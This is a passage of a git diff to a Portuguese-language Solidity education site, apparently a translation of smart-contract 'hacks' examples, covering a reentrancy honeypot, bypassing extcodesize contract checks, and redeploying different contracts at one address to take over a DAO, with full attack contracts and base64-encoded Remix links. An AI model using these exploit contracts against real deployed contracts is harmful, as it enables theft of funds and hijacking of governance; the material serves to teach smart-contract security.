Igb3MgZGV0YWxoZXMgZG8gY29tbWl0CiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBPIGhhc2ggcXVlIGUgbmVjZXNzYXJpbyBwYXJhIHNlciByZXNvbHZpZG8KICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPSAweDU2NGNjYWY3NTk0ZDY2YjFlYWFlYTI0ZmUwMWYwNTg1YmY1MmVlNzA4NTJhZjRlYWMwY2M0YjA0NzExY2QwZTI7CgogICAgLy8gRW5kZXJlY28gZG8gdmVuY2Vkb3IKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmVjbyBhIHNlciByZWNvbXBlbnNhZG8KICAgIHVpbnQgcHVibGljIHJld2FyZDsKCiAgICAvLyBTdGF0dXMgZG8gam9nbwogICAgYm9vbCBwdWJsaWMgZW5kZWQ7CgogICAgLy8gTWFwcGluZyBwYXJhIGFybWF6ZW5hciBvcyBkZXRhbGhlcyBkbyBjb21taXQgY29tIGVuZGVyZWNvCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gQ29tbWl0KSBjb21taXRzOwoKICAgIC8vIE1vZGlmaWVyIHBhcmEgdmVyaWZpY2FyIHNlIG8gam9nbyBlc3RhIGF0aXZvCiAgICBtb2RpZmllciBnYW1lQWN0aXZlIHsKICAgICAgICByZXF1aXJlKCFlbmRlZCwgIkFscmVhZHkgZW5kZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgcmV3YXJkID0gbXNnLnZhbHVlOwogICAgfQoKICAgIC8qCiAgICAgIEZ1bmNhbyBkZSBjb25maXJtYWNhbyBwYXJhIGFybWF6ZW5hciBvIGhhc2ggY2FsY3VsYWRvIHVzYW5kbyBrZWNjYWsyNTYgKGVuZGVyZWNvIGVtIG1pbnVzY3VsYXMgKyBzb2x1Y2FvICsgc2VncmVkbykuCiAgICAgICAgT3MgdXN1YXJpb3Mgc28gcG9kZW0gc2UgY29tcHJvbWV0ZXIgdW1hIHZleiBlIHNlIG8gam9nbyBlc3RpdmVyIGF0aXZvLgogICAgKi8KICAgIGZ1bmN0aW9uIGNvbW1pdFNvbHV0aW9uKGJ5dGVzMzIgX3NvbHV0aW9uSGFzaCkgcHVibGljIGdhbWVBY3RpdmUgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSA9PSAwLCAiQWxyZWFkeSBjb21taXR0ZWQiKTsKICAgICAgICBjb21taXQuc29sdXRpb25IYXNoID0gX3NvbHV0aW9uSGFzaDsKICAgICAgICBjb21taXQuY29tbWl0VGltZSA9IGJsb2NrLnRpbWVzdGFtcDsKICAgICAgICBjb21taXQucmV2ZWFsZWQgPSBmYWxzZTsKICAgIH0KCiAgICAvKgogICAgICAgIEZ1bmNhbyBwYXJhIG9idGVyIG9zIGRldGFsaGVzIGRvIGNvbW1pdC4gRWxlIHJldG9ybmEgdW1hIHR1cGxhIGRlIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVsYVN0YXR1cyk7CiAgICAgICAgICAgIE9zIHVzdWFyaW9zIHBvZGVtIG9idGVyIGEgc29sdWNhbyBzb21lbnRlIHNlIG8gam9nbyBlc3RpdmVyIGF0aXZvIGUgZWxlcyBjb25maXJtYXJhbSB1bSBzb2x1dGlvbkhhc2gKCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpIHB1YmxpYyB2aWV3IGdhbWVBY3RpdmUgcmV0dXJucyhieXRlczMyLCB1aW50LCBib29sKSB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJldHVybiAoY29tbWl0LnNvbHV0aW9uSGFzaCwgY29tbWl0LmNvbW1pdFRpbWUsIGNvbW1pdC5yZXZlYWxlZCk7CiAgICB9CgogICAgLyoKICAgICAgICBGdW5jYW8gcGFyYSByZXZlbGFyIG8gY29tbWl0IGUgcmVjZWJlciBhIHJlY29tcGVuc2EuCiAgICAgICAgT3MgdXN1YXJpb3MgcG9kZW0gb2J0ZXIgYSBzb2x1Y2FvIGRlIHJldmVsYWNhbyBzb21lbnRlIHNlIG8gam9nbyBlc3RpdmVyIGF0aXZvIGUgZWxlcyBjb25maXJtYXJhbSB1bSBzb2x1dGlvbkhhc2ggZSBhaW5kYSBuYW8gZm9yYW0gcmV2ZWxhZG9zLgogICAgICAgIEVsZSBnZXJhIHVtIGtlY2NhazI1Nihtc2cuc2VuZGVyICsgc29sdWNhbyArIHNlZ3JlZG8pIGUgbyB2ZXJpZmljYSBjb20gbyBoYXNoIGNvbmZpcm1hZG8gYW50ZXJpb3JtZW50ZS4KICAgICAgICBPcyBxdWUgZXN0YW8gbmEgZnJlbnRlIG5hbyBwb2RlcmFvIHBhc3NhciBuZXN0YSB2ZXJpZmljYWNhbywgcG9pcyBvIG1zZy5zZW5kZXIgZSBkaWZlcmVudGUuCiAgICAgICAgRW0gc2VndWlkYSwgYSBzb2x1Y2FvIHJlYWwgZSB2ZXJpZmljYWRhIHVzYW5kbyBrZWNjYWsyNTYoc29sdXRpb24pLCBzZSBhIHNvbHVjYW8gY29ycmVzcG9uZGVyLCBvIHZlbmNlZG9yIGUgZGVjbGFyYWRvLAogICAgICAgIG8gam9nbyB0ZXJtaW5hIGUgbyB2YWxvciBkYSByZWNvbXBlbnNhIGUgZW52aWFkbyBhbyB2ZW5jZWRvci4KICAgICovCiAgICBmdW5jdGlvbiByZXZlYWxTb2x1dGlvbiAoc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkgcHVibGljIGdhbWVBY3RpdmUgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXF1aXJlKCFjb21taXQucmV2ZWFsZWQsICJBbHJlYWR5IGNvbW1pdGVkIGFuZCByZXZlYWxlZCIpOwoKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKFN0cmluZ3MudG9IZXhTdHJpbmcobXNnLnNlbmRlciksIF9zb2x1dGlvbiwgX3NlY3JldCkpOwogICAgICAgIHJlcXVpcmUoc29sdXRpb25IYXNoID09IGNvbW1pdC5zb2x1dGlvbkhhc2gsICJIYXNoIGRvZXNuJ3QgbWF0Y2giKTsKCiAgICAgICAgcmVxdWlyZShrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSAhPSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIpOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZighc2VudCl7CiAgICAgICAgICAgIHdpbm5lciA9IGFkZHJlc3MoMCk7CiAgICAgICAgICAgIGVuZGVkID0gZmFsc2U7CiAgICAgICAgICAgIHJldmVydCgiRmFpbGVkIHRvIHNlbmQgZXRoZXIuIik7CiAgICAgICAgfQogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/honeypot.md b/src/exemplos/hacks/honeypot.md index 9eec351..e04cccc 100644 --- a/src/exemplos/hacks/honeypot.md +++ b/src/exemplos/hacks/honeypot.md @@ -2,13 +2,13 @@ Um honeypot é uma armadilha para caçadores de hackers. -#### Vulnerabilidade +Vulnerabilidade -Combinando 2 exploits, reentrada e escondendo códigos maliciosos, podemos criar um contrato que consiga pegar usuários maliciosos. +Combinando duas explorações, reentrada e ocultação de código malicioso, podemos construir um contrato que consiga pegar usuários maliciosos. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* Bank é um contrato que chama Logger para enventos log. @@ -110,3 +110,7 @@ contract HoneyPot { } } ``` + +## Teste no Remix + +-[HoneyPot.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkJhbmsgZSB1bSBjb250cmF0byBxdWUgY2hhbWEgTG9nZ2VyIHBhcmEgZW52ZW50b3MgbG9nLgpCYW5rLndpdGhkcmF3KCkgZSB2dWxuZXJhdmVsIGEgYXRhcXVlIGRlIHJlZW50cmFkYS4KRW50YW8gdW0gaGFja2VyIHRlbnRhIGRyZW5hciBFdGhlciBkbyBCYW5rLgpNYXMgbmEgdmVyZGFkZSBvIGV4cGxvaXQgZGUgcmVlbnRyYWRhIGUgdW1hIGlzY2EgcGFyYSBoYWNrZXJzLgpJbXBsZW1lbnRhbmRvIEJhbmsgY29tIEhvbmV5UG90IG5vIGx1Z2FyIGRvIExvZ2dlciwgZXNzZSBjb250cmF0byBzZSB0b3JuYQp1bWEgYXJtYWRpbGhhIHBhcmEgaGFja2Vycy4gVmVqYW1vcyBjb21vLgoKMS4gQWxpY2UgaW1wbGFudGEgSG9uZXlQb3QKMi4gQWxpY2UgaW1wbGFudGEgQmFuayBjb20gZW5kZXJlY28gZG8gSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdGEgMSBFdGhlciBubyBCYW5rLgo0LiBFdmUgZGVzY29icmUgYSBleHBsb2l0IGRlIHJlZW50cmFkYSBlbSBCYW5rLndpdGhkcmF3IGUgZGVjaWRlIGhhY2tlYXIuCjUuIEV2ZSBpbXBsYW50YSBBdHRhY2sgY29tIGVuZGVyZWNvIGRvIEJhbmsKNi4gRXZlIGNoYW1hIEF0dGFjay5hdHRhY2soKSBjb20gMSBFdGhlciBtYXMgYSB0cmFuc2FjYW8gZmFsaGEuCgpPIHF1ZSBhY29udGVjZXU/CkV2ZSBjaGFtYSBBdHRhY2suYXR0YWNrKCkgZSBlbGEgY29tZWNhIGEgcmV0aXJhciBFdGhlciBkbyBCYW5rLgpRdWFuZG8gbyB1bHRpbW8gQmFuay53aXRoZHJhdygpIGVzdGEgcHJlc3RlcyBhIGFjb250ZWNlciwgZWxlIGNoYW1hIGxvZ2dlci5sb2coKS4KTG9nZ2VyLmxvZygpIGNoYW1hIEhvbmV5UG90LmxvZygpIGUgcmV2ZXJ0ZS4gQSB0cmFuc2FjYW8gZmFsaGEuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CgogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgX2Ftb3VudCwgIldpdGhkcmF3Iik7CiAgICB9Cn0KCmNvbnRyYWN0IExvZ2dlciB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHVpbnQgYW1vdW50LCBzdHJpbmcgYWN0aW9uKTsKCiAgICBmdW5jdGlvbiBsb2coCiAgICAgICAgYWRkcmVzcyBfY2FsbGVyLAogICAgICAgIHVpbnQgX2Ftb3VudCwKICAgICAgICBzdHJpbmcgbWVtb3J5IF9hY3Rpb24KICAgICkgcHVibGljIHsKICAgICAgICBlbWl0IExvZyhfY2FsbGVyLCBfYW1vdW50LCBfYWN0aW9uKTsKICAgIH0KfQoKLy8gSGFja2VyIHRlbnRhIGRyZW5hciBFdGhlcnMgYXJtYXplbmFkb3Mgbm8gQmFuayBwb3IgcmVlbnRyYWRhLgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gRGlnYW1vcyBxdWUgZXNzZSBjb2RpZ28gZXN0ZWphIGVtIGFycXVpdm8gc2VwYXJhZG8gZGUgZm9ybWEgcXVlIG91dHJvcyBuYW8gcG9zc2FtIGxlci4KY29udHJhY3QgSG9uZXlQb3QgewogICAgZnVuY3Rpb24gbG9nKAogICAgICAgIGFkZHJlc3MgX2NhbGxlciwKICAgICAgICB1aW50IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfYWN0aW9uCiAgICApIHB1YmxpYyB7CiAgICAgICAgaWYgKGVxdWFsKF9hY3Rpb24sICJXaXRoZHJhdyIpKSB7CiAgICAgICAgICAgIHJldmVydCgiSXQncyBhIHRyYXAiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRnVuY2FvIHBhcmEgY29tcGFyYXIgc3RyaW5ncyB1c2FuZG8ga2VjY2FrMjU2CiAgICBmdW5jdGlvbiBlcXVhbChzdHJpbmcgbWVtb3J5IF9hLCBzdHJpbmcgbWVtb3J5IF9iKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/ignorar-a-verificacao-do-tamanho-do-contrato.md b/src/exemplos/hacks/ignorar-a-verificacao-do-tamanho-do-contrato.md index 3757007..9997b2c 100644 --- a/src/exemplos/hacks/ignorar-a-verificacao-do-tamanho-do-contrato.md +++ b/src/exemplos/hacks/ignorar-a-verificacao-do-tamanho-do-contrato.md @@ -1,19 +1,19 @@ # Ignorar a Verificação do Tamanho do Contrato -#### Vulnerabilidade +Vulnerabilidade -Se o endereço for um contrato, o tamanho do código armazenado no endereço será maior que 0 certo? +Se o endereço for um contrato, o tamanho do código armazenado no endereço será maior que 0 certo? -Vamos ver como podemos criar um contrato com tamanho de código retornado `extcodesize` igual a 0. +Vamos ver como podemos criar um contrato com tamanho de código retornado `extcodesize` igual a 0. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; contract Target { function isContract(address account) public view returns (bool) { // Esse método tem como base o extcodesize, que retorna 0 para contratos - // em construção, desde que o código seja somente armazenado no + // em construção, desde que o código seja somente armazenado no // final da execução do constructor. uint size; assembly { @@ -53,3 +53,7 @@ contract Hack { } } ``` + +## Teste no Remix + +- [ContractSize.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIEVzc2UgbWV0b2RvIHRlbSBjb21vIGJhc2UgbyBleHRjb2Rlc2l6ZSwgcXVlIHJldG9ybmEgMCBwYXJhIGNvbnRyYXRvcwogICAgICAgIC8vIGVtIGNvbnN0cnVjYW8sIGRlc2RlIHF1ZSBvIGNvZGlnbyBzZWphIHNvbWVudGUgYXJtYXplbmFkbyBubyAKICAgICAgICAvLyBmaW5hbCBkYSBleGVjdWNhbyBkbyBjb25zdHJ1Y3Rvci4KICAgICAgICB1aW50IHNpemU7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzaXplIDo9IGV4dGNvZGVzaXplKGFjY291bnQpCiAgICAgICAgfQogICAgICAgIHJldHVybiBzaXplID4gMDsKICAgIH0KCiAgICBib29sIHB1YmxpYyBwd25lZCA9IGZhbHNlOwoKICAgIGZ1bmN0aW9uIHByb3RlY3RlZCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFpc0NvbnRyYWN0KG1zZy5zZW5kZXIpLCAibm8gY29udHJhY3QgYWxsb3dlZCIpOwogICAgICAgIHB3bmVkID0gdHJ1ZTsKICAgIH0KfQoKY29udHJhY3QgRmFpbGVkQXR0YWNrIHsKICAgIC8vIFRlbnRhdGl2YSBkZSBjaGFtYXIgVGFyZ2V0LnByb3RlY3RlZCBmYWxoYXJhLAogICAgLy8gQ2hhbWFkYXMgZGUgYmxvY28gYWx2byBkbyBjb250cmF0bwogICAgZnVuY3Rpb24gcHduKGFkZHJlc3MgX3RhcmdldCkgZXh0ZXJuYWwgewogICAgICAgIC8vIElzc28gdmFpIGZhbGhhcgogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBRdWFuZG8gbyBjb250cmF0byBlc3RhIHNlbmRvIGNyaWFkbywgbyB0YW1hbmhvIGRvIGNvZGlnbyAoZXh0Y29kZXNpemUpIGUgMC4KICAgIC8vIElzc28gdmFpIGlnbm9yYXIgYSB2ZXJpZmljYWNhbyBkbyBpc0NvbnRyYWN0KCkKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBJc3NvIHZhaSBmdW5jaW9uYXIKICAgICAgICBUYXJnZXQoX3RhcmdldCkucHJvdGVjdGVkKCk7CiAgICB9Cn0=&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/implementar-contratos-diferentes-no-mesmo-endereco.md b/src/exemplos/hacks/implementar-contratos-diferentes-no-mesmo-endereco.md new file mode 100644 index 0000000..55b3edd --- /dev/null +++ b/src/exemplos/hacks/implementar-contratos-diferentes-no-mesmo-endereco.md @@ -0,0 +1,128 @@ +# Implementar contratos diferentes no mesmo endereço + +O endereço do contrato implementado com `create` é calculado da seguinte forma. + +```solidity +contract address = últimos 20 bytes de sha3(rlp_encode(sender, nonce)) +``` + +em que o `sender` é o endereço do implantador e o `nonce` é o número de transacções enviadas pelo `sender`. + +Assim, é possível implementar diferentes contratos no mesmo endereço se pudermos de alguma forma redefinir o nonce. + +Abaixo está um exemplo de como um DAO pode ser hackeado. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +/* +Chamado por Alice +0. Implantar DAO + +Chamado pelo atacante +1. Implementar o DeployerDeployer +2. Chamada do DeployerDeployer.deploy() +3. Chamar Deployer.deployProposal() + +Chamada por Alice +4. Obter a aprovação da proposta pelo DAO + +Chamado pelo Attacker +5. Excluir a proposta e o implantador +6. Reimplantar o Deployer +7. Chamar Deployer.deployAttack() +8. Chamar DAO.execute +9. Verificar se DAO.owner é o endereço do atacante + +DAO -- aprovado --> Proposta +DeployerDeployer -- create2 --> Deployer -- create --> Proposta +DeployerDeployer -- create2 --> Deployer -- create --> Attack +*/ + +contract DAO { + struct Proposal { + address target; + bool approved; + bool executed; + } + + address public owner = msg.sender; + Proposal[] public proposals; + + function approve(address target) external { + require(msg.sender == owner, "not authorized"); + + proposals.push(Proposal({target: target, approved: true, executed: false})); + } + + function execute(uint256 proposalId) external payable { + Proposal storage proposal = proposals[proposalId]; + require(proposal.approved, "not approved"); + require(!proposal.executed, "executed"); + + proposal.executed = true; + + (bool ok, ) = proposal.target.delegatecall( + abi.encodeWithSignature("executeProposal()") + ); + require(ok, "delegatecall failed"); + } +} + +contract Proposal { + event Log(string message); + + function executeProposal() external { + emit Log("Excuted code approved by DAO"); + } + + function emergencyStop() external { + selfdestruct(payable(address(0))); + } +} + +contract Attack { + event Log(string message); + + address public owner; + + function executeProposal() external { + emit Log("Excuted code not approved by DAO :)"); + // For example - set DAO's owner to attacker + owner = msg.sender; + } +} + +contract DeployerDeployer { + event Log(address addr); + + function deploy() external { + bytes32 salt = keccak256(abi.encode(uint(123))); + address addr = address(new Deployer{salt: salt}()); + emit Log(addr); + } +} + +contract Deployer { + event Log(address addr); + + function deployProposal() external { + address addr = address(new Proposal()); + emit Log(addr); + } + + function deployAttack() external { + address addr = address(new Attack()); + emit Log(addr); + } + + function kill() external { + selfdestruct(payable(address(0))); + } +} +``` + +## Teste no Remix + +- [TornadoHack.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkNoYW1hZG8gcG9yIEFsaWNlCjAuIEltcGxhbnRhciBEQU8KCkNoYW1hZG8gcGVsbyBhdGFjYW50ZQoxLiBJbXBsZW1lbnRhciBvIERlcGxveWVyRGVwbG95ZXIKMi4gQ2hhbWFkYSBkbyBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENoYW1hciBEZXBsb3llci5kZXBsb3lQcm9wb3NhbCgpCgpDaGFtYWRhIHBvciBBbGljZQo0LiBPYnRlciBhIGFwcm92YWNhbyBkYSBwcm9wb3N0YSBwZWxvIERBTwoKQ2hhbWFkbyBwZWxvIEF0dGFja2VyCjUuIEV4Y2x1aXIgYSBwcm9wb3N0YSBlIG8gaW1wbGFudGFkb3IKNi4gUmVpbXBsYW50YXIgbyBEZXBsb3llcgo3LiBDaGFtYXIgRGVwbG95ZXIuZGVwbG95QXR0YWNrKCkKOC4gQ2hhbWFyIERBTy5leGVjdXRlCjkuIFZlcmlmaWNhciBzZSBEQU8ub3duZXIgZSBvIGVuZGVyZWNvIGRvIGF0YWNhbnRlCgpEQU8gLS0gYXByb3ZhZG8gLS0+IFByb3Bvc3RhCkRlcGxveWVyRGVwbG95ZXIgLS0gY3JlYXRlMiAtLT4gRGVwbG95ZXIgLS0gY3JlYXRlIC0tPiBQcm9wb3N0YQpEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gQXR0YWNrCiovCgpjb250cmFjdCBEQU8gewogICAgc3RydWN0IFByb3Bvc2FsIHsKICAgICAgICBhZGRyZXNzIHRhcmdldDsKICAgICAgICBib29sIGFwcHJvdmVkOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICB9CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgUHJvcG9zYWxbXSBwdWJsaWMgcHJvcG9zYWxzOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyB0YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJub3QgYXV0aG9yaXplZCIpOwoKICAgICAgICBwcm9wb3NhbHMucHVzaChQcm9wb3NhbCh7dGFyZ2V0OiB0YXJnZXQsIGFwcHJvdmVkOiB0cnVlLCBleGVjdXRlZDogZmFsc2V9KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZXhlY3V0ZSh1aW50MjU2IHByb3Bvc2FsSWQpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIFByb3Bvc2FsIHN0b3JhZ2UgcHJvcG9zYWwgPSBwcm9wb3NhbHNbcHJvcG9zYWxJZF07CiAgICAgICAgcmVxdWlyZShwcm9wb3NhbC5hcHByb3ZlZCwgIm5vdCBhcHByb3ZlZCIpOwogICAgICAgIHJlcXVpcmUoIXByb3Bvc2FsLmV4ZWN1dGVkLCAiZXhlY3V0ZWQiKTsKCiAgICAgICAgcHJvcG9zYWwuZXhlY3V0ZWQgPSB0cnVlOwoKICAgICAgICAoYm9vbCBvaywgKSA9IHByb3Bvc2FsLnRhcmdldC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJleGVjdXRlUHJvcG9zYWwoKSIpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKG9rLCAiZGVsZWdhdGVjYWxsIGZhaWxlZCIpOwogICAgfQp9Cgpjb250cmFjdCBQcm9wb3NhbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVQcm9wb3NhbCgpIGV4dGVybmFsIHsKICAgICAgICBlbWl0IExvZygiRXhjdXRlZCBjb2RlIGFwcHJvdmVkIGJ5IERBTyIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVtZXJnZW5jeVN0b3AoKSBleHRlcm5hbCB7CiAgICAgICAgc2VsZmRlc3RydWN0KHBheWFibGUoYWRkcmVzcygwKSkpOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBub3QgYXBwcm92ZWQgYnkgREFPIDopIik7CiAgICAgICAgLy8gRm9yIGV4YW1wbGUgLSBzZXQgREFPJ3Mgb3duZXIgdG8gYXR0YWNrZXIKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IERlcGxveWVyRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95KCkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzMzIgc2FsdCA9IGtlY2NhazI1NihhYmkuZW5jb2RlKHVpbnQoMTIzKSkpOwogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IERlcGxveWVye3NhbHQ6IHNhbHR9KCkpOwogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llciB7CiAgICBldmVudCBMb2coYWRkcmVzcyBhZGRyKTsKCiAgICBmdW5jdGlvbiBkZXBsb3lQcm9wb3NhbCgpIGV4dGVybmFsIHsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBQcm9wb3NhbCgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBsb3lBdHRhY2soKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgQXR0YWNrKCkpOwogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGtpbGwoKSBleHRlcm5hbCB7CiAgICAgICAgc2VsZmRlc3RydWN0KHBheWFibGUoYWRkcmVzcygwKSkpOwogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/inflacao-do-cofre.md b/src/exemplos/hacks/inflacao-do-cofre.md new file mode 100644 index 